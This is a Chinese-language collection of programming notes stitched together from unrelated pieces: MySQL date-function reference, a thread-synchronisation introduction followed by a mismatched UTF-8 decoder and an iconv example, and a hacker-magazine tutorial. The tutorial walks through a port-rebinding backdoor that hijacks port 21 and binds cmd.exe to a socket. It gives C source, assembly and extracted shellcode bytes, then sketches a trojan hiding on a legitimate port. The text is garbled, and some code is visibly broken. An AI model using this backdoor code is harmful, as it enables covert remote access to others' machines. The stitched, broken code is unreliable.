open(打开文件)

read（由已打开的文件读取数据）

write（将数据写入已打开的文件内）

拷贝文件实例：

这里是一个使用日期函数的例子。下面的查询选择了所有记录，其date_col的值是在最后30天以内： 

mysql> SELECT something FROM table 
WHERE TO_DAYS(NOW()) - TO_DAYS(date_col) <= 30; 

DAYOFWEEK(date) 
返回日期date的星期索引(1=星期天，2=星期一, ……7=星期六)。这些索引值对应于ODBC标准。 
mysql> select DAYOFWEEK('1998-02-03'); 
-> 3 

WEEKDAY(date) 
返回date的星期索引(0=星期一，1=星期二, ……6= 星期天)。 
mysql> select WEEKDAY('1997-10-04 22:23:00'); 
-> 5 
mysql> select WEEKDAY('1997-11-05'); 
-> 2 

DAYOFMONTH(date) 
返回date的月份中日期，在1到31范围内。 
mysql> select DAYOFMONTH('1998-02-03'); 
-> 3 

DAYOFYEAR(date) 
返回date在一年中的日数, 在1到366范围内。 
mysql> select DAYOFYEAR('1998-02-03'); 
-> 34 

MONTH(date) 
返回date的月份，范围1到12。 
mysql> select MONTH('1998-02-03'); 
-> 2 

DAYNAME(date) 
返回date的星期名字。 
mysql> select DAYNAME("1998-02-05"); 
-> 'Thursday' 

MONTHNAME(date) 
返回date的月份名字。 
mysql> select MONTHNAME("1998-02-05"); 
-> 'February' 

QUARTER(date) 
返回date一年中的季度，范围1到4。 
mysql> select QUARTER('98-04-01'); 
-> 2 

WEEK(date) 
　 
WEEK(date,first) 
对于星期天是一周的第一天的地方，有一个单个参数，返回date的周数，范围在0到52。2个参数形式WEEK()允许
你指定星期是否开始于星期天或星期一。如果第二个参数是0，星期从星期天开始，如果第二个参数是1，
从星期一开始。 
mysql> select WEEK('1998-02-20'); 
-> 7 
mysql> select WEEK('1998-02-20',0); 
-> 7 
mysql> select WEEK('1998-02-20',1); 
-> 8 

YEAR(date) 
返回date的年份，范围在1000到9999。 
mysql> select YEAR('98-02-03'); 
-> 1998 

HOUR(time) 
返回time的小时，范围是0到23。 
mysql> select HOUR('10:05:03'); 
-> 10 

MINUTE(time) 
返回time的分钟，范围是0到59。 
mysql> select MINUTE('98-02-03 10:05:03'); 
-> 5 

SECOND(time) 
回来time的秒数，范围是0到59。 
mysql> select SECOND('10:05:03'); 
-> 3 

PERIOD_ADD(P,N) 
增加N个月到阶段P（以格式YYMM或YYYYMM)。以格式YYYYMM返回值。注意阶段参数P不是日期值。 
mysql> select PERIOD_ADD(9801,2); 
-> 199803 

PERIOD_DIFF(P1,P2) 
返回在时期P1和P2之间月数，P1和P2应该以格式YYMM或YYYYMM。注意，时期参数P1和P2不是日期值。 
mysql> select PERIOD_DIFF(9802,199703); 
-> 11 

DATE_ADD(date,INTERVAL expr type) 
　 
DATE_SUB(date,INTERVAL expr type) 
　 
ADDDATE(date,INTERVAL expr type) 
　 
SUBDATE(date,INTERVAL expr type) 
这些功能执行日期运算。对于MySQL 3.22，他们是新的。ADDDATE()和SUBDATE()是DATE_ADD()和DATE_SUB()的同义词。
在MySQL 3.23中，你可以使用+和-而不是DATE_ADD()和DATE_SUB()。（见例子）date是一个指定开始日期的
DATETIME或DATE值，expr是指定加到开始日期或从开始日期减去的间隔值一个表达式，expr是一个字符串；它可以以
一个“-”开始表示负间隔。type是一个关键词，指明表达式应该如何被解释。EXTRACT(type FROM date)函数从日期
中返回“type”间隔。下表显示了type和expr参数怎样被关联： type值 含义 期望的expr格式 
SECOND 秒 SECONDS 
MINUTE 分钟 MINUTES 
HOUR 时间 HOURS 
DAY 天 DAYS 
MONTH 月 MONTHS 
YEAR 年 YEARS 
MINUTE_SECOND 分钟和秒 "MINUTES:SECONDS" 
HOUR_MINUTE 小时和分钟 "HOURS:MINUTES" 
DAY_HOUR 天和小时 "DAYS HOURS" 
YEAR_MONTH 年和月 "YEARS-MONTHS" 
HOUR_SECOND 小时, 分钟， "HOURS:MINUTES:SECONDS" 
DAY_MINUTE 天, 小时, 分钟 "DAYS HOURS:MINUTES" 
DAY_SECOND 天, 小时, 分钟, 秒 "DAYS HOURS:MINUTES:SECONDS" 

MySQL在expr格式中允许任何标点分隔符。表示显示的是建议的分隔符。如果date参数是一个DATE值并且你的计算仅仅
包含YEAR、MONTH和DAY部分(即，没有时间部分)，结果是一个DATE值。否则结果是一个DATETIME值。 

mysql> SELECT "1997-12-31 23:59:59" + INTERVAL 1 SECOND; 
-> 1998-01-01 00:00:00 
mysql> SELECT INTERVAL 1 DAY + "1997-12-31"; 
-> 1998-01-01 
mysql> SELECT "1998-01-01" - INTERVAL 1 SECOND; 
-> 1997-12-31 23:59:59 
mysql> SELECT DATE_ADD("1997-12-31 23:59:59", 
INTERVAL 1 SECOND); 
-> 1998-01-01 00:00:00 
mysql> SELECT DATE_ADD("1997-12-31 23:59:59", 
INTERVAL 1 DAY); 
-> 1998-01-01 23:59:59 
mysql> SELECT DATE_ADD("1997-12-31 23:59:59", 
INTERVAL "1:1" MINUTE_SECOND); 
-> 1998-01-01 00:01:00 
mysql> SELECT DATE_SUB("1998-01-01 00:00:00", 
INTERVAL "1 1:1:1" DAY_SECOND); 
-> 1997-12-30 22:58:59 
mysql> SELECT DATE_ADD("1998-01-01 00:00:00", 
INTERVAL "-1 10" DAY_HOUR); 
-> 1997-12-30 14:00:00 
mysql> SELECT DATE_SUB("1998-01-02", INTERVAL 31 DAY); 
-> 1997-12-02 
mysql> SELECT EXTRACT(YEAR FROM "1999-07-02"); 
-> 1999 
mysql> SELECT EXTRACT(YEAR_MONTH FROM "1999-07-02 01:02:03"); 
-> 199907 
mysql> SELECT EXTRACT(DAY_MINUTE FROM "1999-07-02 01:02:03"); 
-> 20102 

如果你指定太短的间隔值(不包括type关键词期望的间隔部分)，MySQL假设你省掉了间隔值的最左面部分。例如，
如果你指定一个type是DAY_SECOND，值expr被希望有天、小时、分钟和秒部分。如果你象"1:10"这样指定值，
MySQL假设日子和小时部分是丢失的并且值代表分钟和秒。换句话说，"1:10" DAY_SECOND以它等价于"1:10" MINUTE_SECOND
的方式解释，这对那MySQL解释TIME值表示经过的时间而非作为一天的时间的方式有二义性。如果你使用确实不正确的日期，
结果是NULL。如果你增加MONTH、YEAR_MONTH或YEAR并且结果日期大于新月份的最大值天数，日子在新月用最大的天调整。 

mysql> select DATE_ADD('1998-01-30', Interval 1 month); 
-> 1998-02-28 

注意，从前面的例子中词INTERVAL和type关键词不是区分大小写的。 
TO_DAYS(date) 
给出一个日期date，返回一个天数(从0年的天数)。 
mysql> select TO_DAYS(950501); 
-> 728779 
mysql> select TO_DAYS('1997-10-07'); 
-> 729669 

TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。 

FROM_DAYS(N) 
给出一个天数N，返回一个DATE值。 
mysql> select FROM_DAYS(729669); 
-> '1997-10-07' 

TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。 

DATE_FORMAT(date,format) 
根据format字符串格式化date值。下列修饰符可以被用在format字符串中： %M 月名字(January……December) 
%W 星期名字(Sunday……Saturday) 
%D 有英语前缀的月份的日期(1st, 2nd, 3rd, 等等。） 
%Y 年, 数字, 4 位 
%y 年, 数字, 2 位 
%a 缩写的星期名字(Sun……Sat) 
%d 月份中的天数, 数字(00……31) 
%e 月份中的天数, 数字(0……31) 
%m 月, 数字(01……12) 
%c 月, 数字(1……12) 
%b 缩写的月份名字(Jan……Dec) 
%j 一年中的天数(001……366) 
%H 小时(00……23) 
%k 小时(0……23) 
%h 小时(01……12) 
%I 小时(01……12) 
%l 小时(1……12) 
%i 分钟, 数字(00……59) 
%r 时间,12 小时(hh:mm:ss [AP]M) 
%T 时间,24 小时(hh:mm:ss) 
%S 秒(00……59) 
%s 秒(00……59) 
%p AM或PM 
%w 一个星期中的天数(0=Sunday ……6=Saturday ） 
%U 星期(0……52), 这里星期天是星期的第一天 
%u 星期(0……52), 这里星期一是星期的第一天 
%% 一个文字“%”。 

所有的其他字符不做解释被复制到结果中。 

mysql> select DATE_FORMAT('1997-10-04 22:23:00', '%W %M %Y'); 
-> 'Saturday October 1997' 
mysql> select DATE_FORMAT('1997-10-04 22:23:00', '%H:%i:%s'); 
-> '22:23:00' 
mysql> select DATE_FORMAT('1997-10-04 22:23:00', 
'%D %y %a %d %m %b %j'); 
-> '4th 97 Sat 04 10 Oct 277' 
mysql> select DATE_FORMAT('1997-10-04 22:23:00', 
'%H %k %I %r %T %S %w'); 
-> '22 22 10 10:23:00 PM 22:23:00 00 6' 
MySQL3.23中，在格式修饰符字符前需要%。在MySQL更早的版本中，%是可选的。 

TIME_FORMAT(time,format) 
这象上面的DATE_FORMAT()函数一样使用，但是format字符串只能包含处理小时、分钟和秒的那些格式修饰符。
其他修饰符产生一个NULL值或0。 
CURDATE() 
　 
CURRENT_DATE 
以'YYYY-MM-DD'或YYYYMMDD格式返回今天日期值，取决于函数是在一个字符串还是数字上下文被使用。 
mysql> select CURDATE(); 
-> '1997-12-15' 
mysql> select CURDATE() + 0; 
-> 19971215 

CURTIME() 
　 
CURRENT_TIME 
以'HH:MM:SS'或HHMMSS格式返回当前时间值，取决于函数是在一个字符串还是在数字的上下文被使用。 
mysql> select CURTIME(); 
-> '23:50:26' 
mysql> select CURTIME() + 0; 
-> 235026 

NOW() 
　 
SYSDATE() 
　 
CURRENT_TIMESTAMP 
以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回当前的日期和时间，取决于函数是在一个字符串还是在数字的
上下文被使用。 
mysql> select NOW(); 
-> '1997-12-15 23:50:26' 
mysql> select NOW() + 0; 
-> 19971215235026 

UNIX_TIMESTAMP() 
　 
UNIX_TIMESTAMP(date) 
如果没有参数调用，返回一个Unix时间戳记(从'1970-01-01 00:00:00'GMT开始的秒数)。如果UNIX_TIMESTAMP()用一
个date参数被调用，它返回从'1970-01-01 00:00:00' GMT开始的秒数值。date可以是一个DATE字符串、一个DATETIME
字符串、一个TIMESTAMP或以YYMMDD或YYYYMMDD格式的本地时间的一个数字。 
mysql> select UNIX_TIMESTAMP(); 
-> 882226357 
mysql> select UNIX_TIMESTAMP('1997-10-04 22:23:00'); 
-> 875996580 

当UNIX_TIMESTAMP被用于一个TIMESTAMP列，函数将直接接受值，没有隐含的“string-to-unix-timestamp”变换。 

FROM_UNIXTIME(unix_timestamp) 
以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回unix_timestamp参数所表示的值，取决于函数是在一个字符串
还是或数字上下文中被使用。 
mysql> select FROM_UNIXTIME(875996580); 
-> '1997-10-04 22:23:00' 
mysql> select FROM_UNIXTIME(875996580) + 0; 
-> 19971004222300 

FROM_UNIXTIME(unix_timestamp,format) 
返回表示 Unix 时间标记的一个字符串，根据format字符串格式化。format可以包含与DATE_FORMAT()函数列出的条
目同样的修饰符。 
mysql> select FROM_UNIXTIME(UNIX_TIMESTAMP(), 
'%Y %D %M %h:%i:%s %x'); 
-> '1997 23rd December 03:43:30 x' 

SEC_TO_TIME(seconds) 
返回seconds参数，变换成小时、分钟和秒，值以'HH:MM:SS'或HHMMSS格式化，取决于函数是在一个字符串还是在数字
上下文中被使用。 
mysql> select SEC_TO_TIME(2378); 
-> '00:39:38' 
mysql> select SEC_TO_TIME(2378) + 0; 
-> 3938 

TIME_TO_SEC(time) 
返回time参数，转换成秒。 
mysql> select TIME_TO_SEC('22:23:00'); 
-> 80580 
mysql> select TIME_TO_SEC('00:39:38'); 
-> 2378

线程同步的方式有：
　　临界区
　　管理事件内核对象
　　信号量内核对象
　　互斥内核对象
分别介绍如下：

使线程同步

　　在程序中使用多线程时，一般很少有多个线程能在其生命期内进行完全独立的操作。更多的情况是一些线程进行某些处理操作，而其他的线程必须对其处理结果进行了解。正常情况下对这种处理结果的了解应当在其处理任务完成后进行。

　　如果不采取适当的措施，其他线程往往会在线程处理任务结束前就去访问处理结果，这就很有可能得到有关处理结果的错误了解。例如，多个线程同时访问同一个全局变量，如果都是读取操作，则不会出现问题。如果一个线程负责改变此变量的值，而其他线程负责同时读取变量内容，则不能保证读取到的数据是经过写线程修改后的。

　　为了确保读线程读取到的是经过修改的变量，就必须在向变量写入数据时禁止其他线程对其的任何访问，直至赋值过程结束后再解除对其他线程的访问限制。象这种保证线程能了解其他线程任务处理结束后的处理结果而采取的保护措施即为线程同步。

　　线程同步是一个非常大的话题，包括方方面面的内容。从大的方面讲，线程的同步可分用户模式的线程同步和内核对象的线程同步两大类。用户模式中线程的同步方法主要有原子访问和临界区等方法。其特点是同步速度特别快，适合于对线程运行速度有严格要求的场合。

　　内核对象的线程同步则主要由事件、等待定时器、信号量以及信号灯等内核对象构成。由于这种同步机制使用了内核对象，使用时必须将线程从用户模式切换到内核模式，而这种转换一般要耗费近千个CPU周期，因此同步速度较慢，但在适用性上却要远优于用户模式的线程同步方式。

临界区

　　临界区（Critical Section）是一段独占对某些共享资源访问的代码，在任意时刻只允许一个线程对共享资源进行访问。如果有多个线程试图同时访问临界区，那么在有一个线程进入后其他所有试图访问此临界区的线程将被挂起，并一直持续到进入临界区的线程离开。临界区在被释放后，其他线程可以继续抢占，并以此达到用原子方式操作共享资源的目的。

　　临界区在使用时以CRITICAL_SECTION结构对象保护共享资源，并分别用EnterCriticalSection（）和LeaveCriticalSection（）函数去标识和释放一个临界区。所用到的CRITICAL_SECTION结构对象必须经过InitializeCriticalSection（）的初始化后才能使用，而且必须确保所有线程中的任何试图访问此共享资源的代码都处在此临界区的保护之下。否则临界区将不会起到应有的作用，共享资源依然有被破坏的可能。


图1 使用临界区保持线程同步

　　下面通过一段代码展示了临界区在保护多线程访问的共享资源中的作用。通过两个线程来分别对全局变量g_cArray[10]进行写入操作，用临界区结构对象g_cs来保持线程的同步，并在开启线程前对其进行初始化。为了使实验效果更加明显，体现出临界区的作用，在线程函数对共享资源g_cArray[10]的写入时，以Sleep（）函数延迟1毫秒，使其他线程同其抢占CPU的可能性增大。如果不使用临界区对其进行保护，则共享资源数据将被破坏（参见图1（a）所示计算结果），而使用临界区对线程保持同步后则可以得到正确的结果（参见图1（b）所示计算结果）。代码实现清单附下：

typedef unsigned short   Unicode2Bytes;
typedef unsigned int     Unicode4Bytes;

void UTF8Decode2BytesUnicode(const std::string& input, std::wstring& output)
{
    output = L"";
    BYTE b;
    Unicode2Bytes ch;
    for(size_t i=0; i < input.length();)
    {
        b = input;
        // 1110xxxx 10xxxxxx 10xxxxxx
        if((input & MASK3BYTES) == MASK3BYTES)
        {
            ch = ((Unicode2Bytes)(input & 0x0F) << 12) | (
                (Unicode2Bytes)(input[i+1] & MASKBITS) << 6)
                | (input[i+2] & MASKBITS);
            i += 3;
        }
        // 110xxxxx 10xxxxxx
        else if((input & MASK2BYTES) == MASK2BYTES)
        {
            ch = ((Unicode2Bytes)(input & 0x1F) << 6) | (input[i+1] & MASKBITS);
            i += 2;
        }
        // 0xxxxxxx
        else if(input < 0x80)
        {
            ch = input;
            i += 1;
        }

        else
        {
//            assert(false);
        }
       
        output += ch;
        //output.push_back(ch);
    }
}

void UTF8Decode2BytesAssciChar(const std::string& input, char** output)
{
    std::wstring wsStrOutput;
    if (input.empty())
        return;

    if (*output != NULL)
    {
        free(*output);
        *output = NULL;
    }
    UTF8Decode2BytesUnicode(input, wsStrOutput);
    char* pChar = (char*)malloc(wsStrOutput.length() * 2 + 1);
    memset(pChar, 0, wsStrOutput.length() * 2 + 1);
#ifdef WIN32
    WideCharToMultiByte( CP_ACP, 0, wsStrOutput.c_str(), -1,
        pChar, wsStrOutput.length() * 2 + 1, NULL, NULL );
#else
    //mbstowcs()  wcstombs()
    assert(false);
#endif
    *output = pChar;
}
//---------------------------------------
#include <iconv.h>
#include <iostream>

#define OUTLEN 255

using namespace std;

// 代码转换操作类
class CodeConverter {
private:
iconv_t cd;
public:
// 构造
CodeConverter(const char *from_charset,const char *to_charset) {
cd = iconv_open(to_charset,from_charset);
}

// 析构
~CodeConverter() {
iconv_close(cd);
}

// 转换输出
int convert(char *inbuf,int inlen,char *outbuf,int outlen) {
char **pin = &inbuf;
char **pout = &outbuf;

memset(outbuf,0,outlen);
return iconv(cd,pin,(size_t *)&inlen,pout,(size_t *)&outlen);
}
};

int main(int argc, char **argv)
{
char *in_utf8 = "姝ｅ?ㄥ??瑁?";
char *in_gb2312 = "正在安装";
char out[OUTLEN];

// utf-8-->gb2312
CodeConverter cc = CodeConverter("utf-8","gb2312");
cc.convert(in_utf8,strlen(in_utf8),out,OUTLEN);
cout << "utf-8-->gb2312 in=" << in_utf8 << ",out=" << out << endl;

// gb2312-->utf-8
CodeConverter cc2 = CodeConverter("gb2312","utf-8");
cc2.convert(in_gb2312,strlen(in_gb2312),out,OUTLEN);
cout << "gb2312-->utf-8 in=" << in_gb2312 << ",out=" << out << endl;
}

    C实现重用端口

    一般情况下，已经绑定的端口是不能再次被绑定的，但可以使用Setsockopt函数来改变这一点。Setsockopt函数原型如下，

  int setsockopt(
  SOCKET s,
  int level,
  int optname,
  const char* optval,
  int optlen
);

    第一个参数为要改变的Socket标志符，第二个参数为选项的等级，第三个参数就是要改成的选项名了，第四第五个参数为请求值缓冲区的指针和大小。具体实现时，把第三个参数设为SO_REUSEADDR，就可以重用已绑定的端口了。代码如下：

BOOL  val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)

    其它的和一般的后门编写就一样了。怎么样，很简单吧？
 
    WTF：该方法只有在原来的程序没有使用SO_EXCLUSIVEADDRUSE选项来绑定端口的情况下，才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE选项，就只能用其它的方法绑定端口了。

    Telnet后门的编写

    端口可以重用之后，总要加点功能来显示这种方法的优劣吧？空说复用端口好有什么用呢？所以再加上一个大家都看得见的功能：给连接端口的客户开一个远程的Shell。

    开远程的Shell比较简单，用CreateProcess函数建立CMD进程，并把进程的输入输出和错误句柄都换成我们的Socket就可以了。注意这里的Socket要用WSASocket函数建立才能这样替换，而用Socket函数建立的就只能用管道来通信了。这些不在本文的讨论之内，大家可以参看以前和将来的黑防，都会有讲的。

C实现的程序如下。
int main()
{
 WSADATA ws;
 SOCKET listenFD;
 int ret;
 //初始化wsa
 WSAStartup(MAKEWORD(2,2),&ws);
 //注意要用WSASocket
 listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 //设置套接字选项，SO_REUSEADDR选项就是可以实现端口重绑定的
 //但如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功
 BOOL  val = TRUE;
 setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
 //监听本机21端口
 struct sockaddr_in server;
 server.sin_family = AF_INET;
 server.sin_port = htons(21);
 server.sin_addr.s_addr = inet_addr("127.0.0.1");
 ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
 ret=listen(listenFD,2);
 //如果客户请求21端口，接受连接
 int iAddrSize = sizeof(server);
 SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
 STARTUPINFO si;
 ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
 char cmdLine[] = "cmd";
 PROCESS_INFORMATION ProcessInformation;
 //建立进程 
 ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
 return 0;
}

测试一下，先安装一个Serv_U FTP服务器，那么它会打开21端口。如果Telnet 21端口，就会得到Serv_U的Banner，如下图1所示。

图1

    现在执行我们的程序，就会重新绑定21端口。用Netstat –an查看，会发现有两个21端口在监听，一个的IP是0.0.0.0，一个是127.0.0.1。如图2所示。

 
图2

现在再Telnet 21端口，这次得到的是Shell！哈哈，没错，我们的程序抢掉了Serv_U用的21端口，突破成功！如图3所示。

 
图3

    汇编的编写

    C程序代码成功实现后，就要把它变为有ShellCode特点的汇编了。
《打造Windows下自己的ShellCode》一文中分析过，Windows下函数的调用是先将参数从右到左入栈，然后Call 函数的地址，所以首先要找出所有函数的地址并记下来。

    我写了个“FindAddress.cpp”，来查找这次所有要用的函数地址。先LoadLibrary函数所在的Dll，再GetProcAddress函数名，最后打印出得到的地址。以后要查找其它函数地址时，只要更改LoadLibrary和GetProcAddress参数里的Dll名和函数名就可以了。
在我的系统XP sp0下，执行的效果如下图4所示。

 
图4

    在汇编代码中，把找出来的函数地址保存下来，以备后用。这里用的是固定的API函数地址，以后介绍了动态获取函数地址后，只需要加上动态查找那部分，而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。
地址找到后，开始实现每个函数，函数实现完毕，汇编就写出来了。

    第一个是WSAStartup(MAKEWORD(2,2),&ws)， 随便减Esp 0x200，将Esp作为WS的地址，而MAKEWORD(2，2)就是0x202，所以直接Push 0x202就可以了。汇编实现如下：
sub esp, 0x200
   push esp  //第二个参数&wsa
   push 0x202  //第一个参数0x202
   call dword ptr [ebp + 0x8] //[ebp+0x8]中存着WSAStartup的地址，执行
   add esp, 0x200

    第二个是执行WSASocket(AF_INET，SOCK_STREAM，IPPROTO_TCP，NULL，0，0)，这有点麻烦，那些参数值是多少呢？一种方法点右键，选择“goto 定义”，就可以找到对应的值，但遇到参数比较多的时候就比较慢；另一种方法，借用写好的C程序，按F10进入调试，按Debug工具栏上的Disassemble按钮，就出现了对应的汇编代码。如下图5所示。

图5

    看，对应的值不就出来了吗？我们只要仿照着，依次Push 0 0 0 6 1 2，再Call WSASocketA函数的地址就行了。以前说过，WSASocketA函数执行完后，EAX会存放函数的返回值，所以这里的EAX就是建立的Socket，我们把它保存在Ebx中，在后面会使用。

mov ebx, eax                ; save Socket to ebx

    下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”，用同样的方法，就会知道Sizeof(val)＝4，SO_REUSEADDR为4，SOL_SOCKET为0FFFFh。那第四个参数(char *)&val怎么表示呢？

其实Val＝true，就是0x00000001，那么&val就是0x00000001的地址，我们在堆栈中构造出0x00000001，把它的地址当参数就可以了。

mov eax, 0x00000001
push eax
mov esi, esp  ;这样把&val存在esi中。

再执行Setsockopt就是：

   push 4   //第五个参数sizeof(val)＝4
   push esi  //第四个参数&val
   push 4   //第三个参数SO_REUSEADDR
   push 0FFFFh  //第二个参数SOL_SOCKET
   push ebx  //第一个参数，WSASocket建立的Socket
         Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址，执行

OK！瞬间完成了一半的工作量，看着汇编一段一段的写好，真是件惬意的事啊！

好了，该第四个函数了：“bind(listenFD,(sockaddr *)&server,sizeof(server));”，方法同上，第二个参数&server是一个sockaddr_in结构的地址，而且里面还有对端口、地址的设置，就是这三句：

server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");

    怎么转换比较简单呢？还是借助C程序的调试过程！在调试时，从Debug工具栏上调出Memory窗口，输入Server，就可以看到Server这个结构的值，在赋值完毕之后，变成02 00 00 15 7F 00 00 01，如下图6所示。

 
图6

    而且通过这个过程还知道，第一个0002是AF_INET，1500是htons(21)，最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我们就依着葫芦画瓢，模仿着构造出Server的值，并把地址给Esi保存，代码如下：

   push 0x0100007F
   push 0x15000002 
   mov esi,esp  //构造server的值，并把地址赋给esi
   
有了Server参数后，就可以执行Bind函数了：

   push 10h  //第三个参数sizeof(server)＝10h
   push esi  //第二个参数server的地址
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x20] //[ebp+0x20]中存着bind的地址，执行

那接下来的Listen(listenFD,2)就太简单了，实现如下：

push 2;   //第二个参数2
   push ebx;  //第一个参数Socket
   call dword ptr [ebp+0x24]; //[ebp+0x24]中存着listen的地址，执行

随后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能轻松搞定，为：
   push 10h  //构造iAddrSize，地址为esp
   push esp  //第三个参数&iAddrSize
   push esi  //第二个参数&server
   push ebx  //第一个参数Socket
   call dword ptr [ebp+0x28] //[ebp+0x28]中存着accept的地址，执行

当然，因为后面要用到Accept后产生的Socket，所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
这样就到了最关键的决定成败的最终BOSS：“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇，大概看一看，好多参数，真吓人！但仔细一看，原来是纸老虎，参数基本上都是0和1，要构造的只有三个，那就简单了。

0和1就不说了，直接Push就可以了，&ProcessInformation最简单，因为不用赋初值，随便找个不用的地址就可以了，CmdLine也好解决，“cmd” 就是63 6d 64 00，构造在Ebp+0x32中，把Ebp+0x32的地址当参数压就可以了。只剩下&si了，对它的赋值有几句话，
ZeroMemory(&si,sizeof(si));
 si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 //设置为输入输出句柄为Socket
 si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零，再设置Flag和句柄。我们在调试过程中，仔细地、慢慢地、温柔地数，最后可以知道Si+2ch的地方为Flag地址，“Si+38h Si+3ch Si+40h”的地方为输入输出和错误句柄。那么在汇编中构造Si就是：

   lea edi,[esp]; 
   mov word ptr [edi+2ch], 0x0101;  //si.dwFlags =0x0101
   mov [edi+38h],ebx;     //si.hStdInput
   mov [edi+3ch],ebx;     //si.hStdOutput
   mov [edi+40h],ebx;     //si.hStdError = Socket

实现CreateProcess如下： 
   //暂存cmd.exe字符串于ebp+0x32中
   mov dword ptr [ebp+0x32],0x00646d63;   
   lea eax,[esp+0x44]
   push eax   //最后一个参数&ProcessInformation
   push edi   //&si
   push 0   //0
   push 0   //0
   push 0   //0
   push 1   //1
   push 0   //0
   push 0   //0
   lea eax,[ebp+0x32] 
   push eax   //"cmd"
   push 0   //0
   call [ebp+0x4]  //[ebp+0x4]中存着CreateProcessA的地址，执行

ShellCode的获取和验证

好了，把汇编连起来，得到“ReBindASM.cpp”验证一下，呵呵，还是成功。如图7所示。

 
图7

有一个出错对话框——当然了，我们的Esp ebp都被覆盖了，当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。
 《打造Windows下自己的ShellCode》中讲过，在得到汇编后，可以进行调试，然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样，但代码太多了，一个个的抄也太郁闷了吧……我们换个方法。

 进入调试，在调试进入我们的汇编时，在Memory窗口中输入Eip，这样出现的就是我们ShellCode在内存中的值，如下图8所示。

 
图8

这下简单了，把ShellCode从开始到结束粘贴下来，删掉多于的字符，把空格替换成’\x’，就得到重用端口，突破防火墙的ShellCode如下：

char ShellCode[] =
"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
"\x6A\x00\xFF\x55\x04";

在Main函数里面，嵌入如下代码就可以将ShellCode当成函数执行：

lea eax, ShellCode;
  call eax
测试一下，哈哈，还是成功了。如图9所示。

 
图9

    这样我们就亲自打造出了一个ShellCode，而且这个ShellCode在外面是绝对找不到的哦，呵呵，知道为什么吗？因为这个ShellCode根本不能用啊！（豆大的汗珠从WTF后脑勺上滴下……）一是因为使用的是XP SP0的函数绝对地址，只能在XP SP0下用，如果是2000，或者XP的另外版本，都会失败；二是绑定的是127.0.0.1，其实需要对方的实际IP地址。要解决这两个问题，一是需要动态的获得函数地址，来把我们这个ShellCode改为通用的；二是加入对方IP和端口的定制，这样打造出的才是完美的ShellCode

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

